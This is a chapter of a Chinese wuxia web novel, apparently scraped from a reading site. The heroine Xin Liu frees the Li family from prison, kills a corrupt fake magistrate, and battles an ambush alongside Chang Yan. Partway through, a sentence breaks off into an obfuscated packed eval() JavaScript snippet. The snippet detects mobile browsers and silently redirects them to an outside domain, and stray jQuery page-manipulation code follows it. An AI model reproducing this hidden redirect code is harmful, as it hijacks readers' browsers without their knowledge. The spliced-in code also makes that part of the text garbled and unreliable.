黑影穿梭进狱内,银光再次一闪,剑气如虹。
待所有人回神时,意图轻薄李主簿妻女的官兵已全被撂翻在地。
来者黑衣劲装,灰白方巾覆面。
其持剑定身一刹那,回首瞥向假知县的目光杀意腾腾,飞扬的尘土卷动乌黑发丝在喧嚣狂舞。
“狗官!”
女子声线清脆铿锵,正是辛流无疑。
假知县顿时踉跄起身,放声高喊:“来人啊!抓刺客!”
辛流如一尾游鱼,灵活穿破官兵群攻的包围圈。
她侧身利落蹬踹掉假知县左右两名狱卒,对方还未反应过来,辛流便反手挑破了假知县肥腻肮脏的脸皮,令其不得不反扑回摇椅痛呼。
假知县听见耳畔传来由远及近的剑鸣铮铮,瞬间害怕得尖叫出声。
下一秒他的侧颈抵上一柄利剑,皮肉被割破的痛感尚且没有感受到,恐惧率先从那处蔓延至全身。
他颤抖着用余光去瞟银白剑锋另一端的辛流,听见她说:“狗官,别妄想有人能救你,县衙牢狱内外能见的活口都在这里了。”
闻言,假知县浑身一软,伏在摇椅上不敢动弹,嘴上的求饶却不敢停:“女侠!你我无冤无仇,求您放小的一命啊!”
辛流切实体会到怒极反笑的感觉:“无冤无仇?被你残害的人同你也是无冤无仇,你们这群杂碎可有放他们一马!”
李主簿仍被缚在木桩上,无力垂头。
他的妻女裹着不能称之为衣物的破烂布条环抱着彼此取暖,无助呜咽。
一旁铁盆里的烈焰一如辛流的怒火,熊熊燃烧。
侥幸逃过一命的官兵从地面艰难爬起,望着辛流的背影踟蹰不前。
明显这名女子的功力在众人之上……
假知县察觉此幕,杂乱又紧张的思绪中闪现一丝清明。
“给我控制住李家三人!”
辛流立时挑眉,将假知县狠狠踢出摇椅,接着翻剑回身。
地面泛起一圈尘雾,假知县“哎哟”一声,摔了个狗吃屎。
这头,李家母女强撑起精气躲避追拿,眼见将要被官兵捉住。
辛流好似凌空的鹰隼,迅疾飞腾至两人身前,横剑一扫,哀嚎四溢。
注意到还有官兵往李主簿跟前逼近,她一招“避日纵步”瞬移到几人背后,倒手反握剑柄,毫不留情捅他们个对穿。
“不自量力。”
地面散倒着断头残肢,血液积聚成洼。
李家母女齐齐睁大双眼,悚然目视着她。
而辛流并未放在心上,走向虚弱的李主簿,斩断他身上的绳索。
“谢谢。”
她听见他说。
辛流莞尔,将他扶住,托放至妻女身边。
继而,她掀动眼皮凝向沿墙偷跑的假知县,蓄力隔空一掌。
假知县左腿被击中,登时滚跌于地,骨折之痛令他痛到失声。
在此期间,辛流身旁的李主簿仍旧松垮地跪坐在原地,不敢抬头,只对妻女麻木念叨着同样的话语:“对不起。”
对不起,让你们因我陷入险境……
他的妻子拥着受惊失神的女儿,满眼热泪,心间也确有怨愤,伸出手想给他一巴掌,却见他薄薄衣衫挡不住的伤痕累累,脸部更是肿胀不堪,一时竟不知从何下手。
她撇过头,抹了抹眼角的泪水:“我们是一家人,不说这些……”
李主簿咬牙憋不回汹涌的泪意。
一只温热的小手忽然轻轻抚向他的发顶。
“阿爹,你说过何阿伯是好官,做的是好事,你想帮他守住秘密……珍珍以后也要成为像何阿伯和阿爹一样好的人。”
这下,李主簿眼泪彻底决堤,放声大哭起来。
他想要拥抱妻子和女儿,又担忧自己会给当下身心脆弱的母女俩带去第二次伤害,抬起的手臂复而垂下。
见状,辛流内心触动,悠悠叹息,而后主动解开身上的外袍,轻柔披至母女俩的肩头。
“错的不是你们之中任何人。”
她注视着萎靡消沉的三人,说话的语气里带出果决。
“坏人最乐得见到的就是别人因他们而恐惧、痛苦、绝望……可做坏事是他们,受伤害的是你们,凭什么让你们陷入阴影里,而坏人却能毫无负担?”
“你们没错,不用说对不起,不用自怨自艾——尝试愤怒,让伤害你们的人下跪道歉,让他们付出应有的代价。”
“因为驱散阴影的最好方式便是直面它。”
辛流将剑垂放在腿侧,离地不远,鲜红的血液沿着剑身凹槽滑落,发出的声响细微。
但在假知县耳中,这声响清晰得像是催命符咒,萦绕不散,挥之不去。
“我错了,我错了,求求女侠饶我一命,我愿意当牛做马、奉上金银财宝,只要能让我活下来赎罪,我什么都愿意做!”
他一副狼狈惨样,没博得辛流的可怜。
“你该道歉的人不是我。”
辛流让开位置,身后的李家三人与地上匍匐蠕动的假知县对上视线。
假知县身形笨重,腿又受了重伤,难以起身,只得朝着他们的方向匆忙合掌于头顶,言语间带上了哭腔。
“李主簿、李夫人、李小姐,我错了,求你们宽恕我,都说‘知错能改,善莫大焉’,给我一个机会,我不敢再犯,求你们替我求求情,我真的不想死啊!”
少女怯怯往外袍内躲藏:“阿娘,我能不原谅他吗?”
李夫人笃定地握住女儿的手:“当然可以,阿娘也不会原谅他。”
她看向李主簿。
李主簿轻微牵动唇角点点头,转首变换神色质问假知县:“酒楼的火是你放的吗?是你置何大人于死地的吗?”
辛流随之俯视假知县。
假知县连忙反驳:“不是我杀的!人不是我杀的,我也没放火。”
“那你怎么得来的知县之位?”辛流剑指他的头颅。
假知县着急辩解:“是他们让我当的,何知县真的不是我杀的,那日是突然走的水,不关我事!不关我事啊!”
李主簿听罢,眉目低垂,似是联想到某事,不再吭声。
辛流则逼问:“这个‘他们’之中,除了临江知府还有谁?”
“我,我不知道。”
假知县眼神闪烁,埋首大喊:“女侠,我是无辜的啊!”
辛流冷哼一声:“无辜的人早就因你遁入轮回,而你……”
电光火石间,她抽剑自上而下刺穿假知县的咽喉,热血溅湿她雪白的里衣。
“下地狱去吧。”
辛流退开两步收剑,来到李家三人身边,不顾他们见到她又一次杀人后的畏缩,背对李主簿半跪:“我们要快点出去,防止有其他意外。”
“姑娘,我可以自己走。”
李主簿恍然回神,兀自想要靠自己起身,却因脚步酸软虚浮,晃了晃身子,被妻女扶住。
辛流瞥他们一眼,直接拽过李主簿衣领,驮背在身后:“重点是平安出去。”
话落,她步伐稳健地朝外走去。
留在原地的母女二人讶然对视后,裹紧同一件外袍,彼此扶持着匆匆跟上。
大牢通道里同样满是堆叠的官兵尸体,李家三人胃水翻涌,不断干呕。
“李主簿,你知道何大人留下的线索在哪里吗?”辛流则视尸体于无物,边走边询问。
李主簿警惕起来:“姑娘也是为了线索而来?”
辛流感知到他陡变的情绪,解释一句:“在下认识一位新帝面前的红人,帮他在找惩治贪官污吏的证据,不知李主簿可有一二线索?”
李主簿思索片刻,低声答道:“我仅偶然从大人口中听过一段像谜语的念词——”
“水成面,石成线,可比日月,不惧火炼。”
“木叠木,平地起,环壁观世,暂居一隅。”
“禽兽在天,飞龙在地,潜渊续脉,孩化双形。”
“一辨是非,一心向善;二去浮华,六根清净……”
辛流眼前一亮,正想再问些细节解谜,忽而耳尖微动。
外面有人。
她霎时冷下目光,在即将到达牢狱大门时停住脚步。
把背上的李主簿靠墙转至其妻女身侧,辛流嘱咐他们:“躲在拐角处,不要出来。”
她抚着腰包处的两枚信号弹,拔剑出鞘,步步逼近紧闭的大门。
等手掌摸到大门上的木纹时,辛流低垂下眉头。
迅雷不及掩耳之势,她猛地破门而出,面巾遮挡下露出的明眸亮得惊人。
无数利箭应时从天而降,直朝她面门而来。
辛流果断用剑鞘勾住门环,将大门从外合拢,旋身躲过攻击,往一旁翻滚藏于草丛,向夜空发射两枚信号弹。
信号弹被河水泡过,辛流
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172563|180744||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
担心全部报废——万幸有一支还能用。
猩红火光点亮天际,箭羽如白尾流星深深扎在木门上。
火光之下,四周密密麻麻的黑影重叠,数量远超百人。
大意了,被人埋伏了……
辛流心下无奈,明白常晏他们前来支援需要时间。
看来她先得以一战百了。
她躲闪着利箭,单手取下面巾,将剑柄同自己的手缠紧。
敌方头领见只有她一小小女子在此,令人不再放箭,直接将她斩杀。
这可便(biàn)宜了辛流。
她俯身由草丛树木间穿过,速度奇快,剑意振振。
十步杀一人,剑过不留痕。
对面众人才意识到轻敌,调整状态准备围困辛流。
辛流有所预料,扭身斜线跑。
周遭衣袂翻飞摩擦之声四起。
然而,一拨人出其不意猛然现身,打了她个措手不及。
辛流冷不丁连退好几步。
下一瞬,熟悉的气息蓦然包裹住她,男人的臂膀稳稳托住她的腰身。
辛流顿觉惊喜,抬眸看去,那张灰狼面具下的眼瞳如莹润的黑曜石,正是常晏无疑。
“你这么快就来了?”
她还以为要再等上半刻呢!
常晏持刀挡下来者一击,扶腰的手臂不愿松开:“猜到你来县衙了,信号亮的时候,我已在县衙外,不过——你的衣服是怎么回事?怎么有血?”
看到辛流身上沾血的里衣,他面具后的眉间竖纹因担忧而骤深,仿若可以碾死一只苍蝇,手臂也箍得更紧。
辛流屏住呼吸,腰部那只手掌的温度透过里衣落在身上,烫得她脸皮泛出一层薄红。
幸好夜色深,不太看不清面容……
她赶紧撤开常晏的怀抱,同他背对而立,故作镇定:“说来话长,反正不是我的血,其他的突围了再说。”
想起牢狱里的李家三口,她挥剑退敌的同时没忘记提醒常晏:“对了,要阻止这群人进入牢房,里面有重要知情人。”
常晏神色稍霁,命令墨影卫拦守在牢门前。
敌方明显有好几拨人,衣着打扮皆有不同。
辛流发现其中混杂着穿银质薄甲、戴罩脸面纱的怪人,但没太放在心上,直到……
直到她振剑一挑,锋刃划破一名怪人身上的银甲、剌破其胸前的衣物,一大簇开得绚丽张扬的黑色凌霄花刺青映入辛流眼里。
顷刻间,她四肢冰凉,血液逆流,狠冲向大脑。
两眼开始充血,浑身上下颤抖不止。
常晏立时发觉辛流的反常,反身替她斩断身侧的进攻,刚打算询查缘由。
辛流动了——
看不清她的剑,也看不清她的人。
转眼血云翻涌,草木婆娑,所有人都嗅到空气中狂躁的气息。
剑光忽明忽暗,倩影若现若隐,似有风起又似无。
听到敌对众人接连的惨叫,平日里干惯了杀人勾当的墨影卫都不由脖颈一凉。
常晏沉沉凝望辛流靠杀人宣泄滔天愤恨的身影,握着长刀的小臂肌肉暗自绷紧。
辛流最后一剑,内力攒于剑气,荡平掉县衙半边天,连她的剑也承受不了这股怒意,碎成了残片。
气流滚滚,烟尘散去。
辛流立于月下,扯开一名怪人脸上的纱罩,完全失掉冷静地咆哮:“你们到底是谁的人?谁派你们来的?说啊!”
尚存一息的怪人被她拽着衣领粗鲁晃动,嘴里只发出“唔唔”地怪叫。
辛流理智暂且回笼,扒开他的嘴,乍然神情破碎,怔在原地。
这人竟根本没有舌头。
她蓦地嘲弄一笑,不知是在嘲别人还是自己,手上松掉了此人的衣领,任其了无生息地跌落。
辛流脚下是堆成小山的尸体,鲜血染红了她的双眼,一朵朵靡艳的彼岸花开满了她的白衫。
她是前来索命的玉面罗刹。
所过之处,血流成河。
人们远远观望,畏惧她、厌弃她、背离她……
而常晏,第一次看见她的暴怒,也看见她眼底的痛苦和迷茫。
他抬手捂住涨痛的胸口,心房为之塌陷。
原来,明媚如她,亦会有无法愈合的伤口——
不去管它尚可忽视疼痛,可一旦触碰,它便会被血淋淋撕扯得更长、更深、更折磨……